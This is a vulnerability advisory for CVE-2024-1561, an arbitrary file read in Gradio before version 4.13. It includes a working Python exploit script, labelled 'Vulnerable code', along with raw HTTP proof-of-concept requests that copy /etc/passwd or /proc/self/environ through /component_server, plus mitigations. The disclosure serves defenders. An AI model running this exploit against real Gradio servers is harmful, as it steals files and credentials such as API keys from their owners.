Vulnerable Version
versions prior to 4.13
Fixed Version
versions 4.13
Base Score
7.5 high
Vendor Description:-
Gradio is an open-source Python toolkit that allows you to easily create and share user-friendly web interfaces for machine learning models, data science tools, and other Python functions. Developers may design interactive GUIs with just a few lines of code, allowing users to enter text, photos, audio, or other data kinds and immediately view the results. It’s especially effective for prototyping ML models, presenting demos, and allowing non-technical stakeholders to interact with complex systems. Gradio also allows for easy sharing via public URLs and works well with platforms like as Hugging Face, making it an ideal solution for rapid AI application launch and testing.
Gradio Arbitrary File Read – CVE-2024-1561 Description: –
An issue was discovered in gradio-app/gradio, where the /component_server endpoint improperly allows the invocation of any method on a Component class with attacker-controlled arguments. Specifically, by exploiting the move_resource_to_block_cache() method of the Block class, an attacker can copy any file on the filesystem to a temporary directory and subsequently retrieve it. This vulnerability enables unauthorized local file read access, posing a significant risk especially when the application is exposed to the internet via launch(share=True), thereby allowing remote attackers to read files on the host machine. Furthermore, gradio apps hosted on huggingface.co are also affected, potentially leading to the exposure of sensitive information such as API keys and credentials stored in environment variables.
Vulnerable code:-
from argparse import ArgumentParser
from requests import Session
if __name__ == "__main__":
parser = ArgumentParser()
parser.add_argument("--url", required=True)
parser.add_argument("--path", default="/etc/passwd")
args = parser.parse_args()
url_base = args.url
with Session() as s:
# get app config:
rsp = s.get(f"{url_base}/config")
# grab any valid component_id:
component_id = rsp.json()["components"][0]["id"]
rsp = s.post(f"{url_base}/component_server", json={
"component_id" : component_id,
"data" : args.path, # "/etc/passwd",
"fn_name" : "move_resource_to_block_cache",
"session_hash" : "aaaaaaaaaaa"
})
path = rsp.json()
rsp = s.get(f"{url_base}/file={path}")
print(rsp.text)
Impact
This vulnerability is capable of reading local files on the computer that runs the gradio application. It is even more critical because running an app with launch(share=True) will expose the app to the internet allowing anyone to read files on users computers. Edit: upon further investigation, it seems that all hosted on huggingface.co are also vulnerable. I created a gradio app (https://ff5x-test-gradio.hf.space/) and added a secret TEST_SECRET=VERY_SECRET in settings, then running this exploit and reading /proc/self/environ will leak it through env variables. Looking through source code on some popular apps, a lot of them have openai tokens and other api keys, s3 credentials, etc. stored this way.
Mitigations
- Avoid
share=Truein production – Use it only for internal or demo purposes. - Don’t store secrets in environment variables – Use secure secret managers instead.
- Sanitize all user input – Block or validate file paths and user-controlled data.
- Deploy behind a reverse proxy – Add access controls like IP allowlists or auth.
- Run apps with limited permissions – Avoid running as root or with full system access.
- Restrict file system access – Use containers or AppArmor to block sensitive paths.
POC
First, use the /config endpoint to get the id of a component, such as 3.
GET /config HTTP/1.1
Host: 127.0.0.1:7860

Next, use the move_resource_to_block_cache method to copy /etc/passwd to a temporary directory. The response will include the temporary file path.
POST /component_server HTTP/1.1
Host: 127.0.0.1:7860
Content-Type: application/json
{
"component_id": "3",
"data": "/etc/passwd",
"fn_name": "move_resource_to_block_cache",
"session_hash": "aaaaaaaaaaa"
}

Finally, use the provided path to navigate to the /file endpoint and read the file contents.
GET /file=/tmp/gradio/916eb712d668cf14a35adf8179617549780c4070/passwd HTTP/1.1
Host: 127.0.0.1:7860

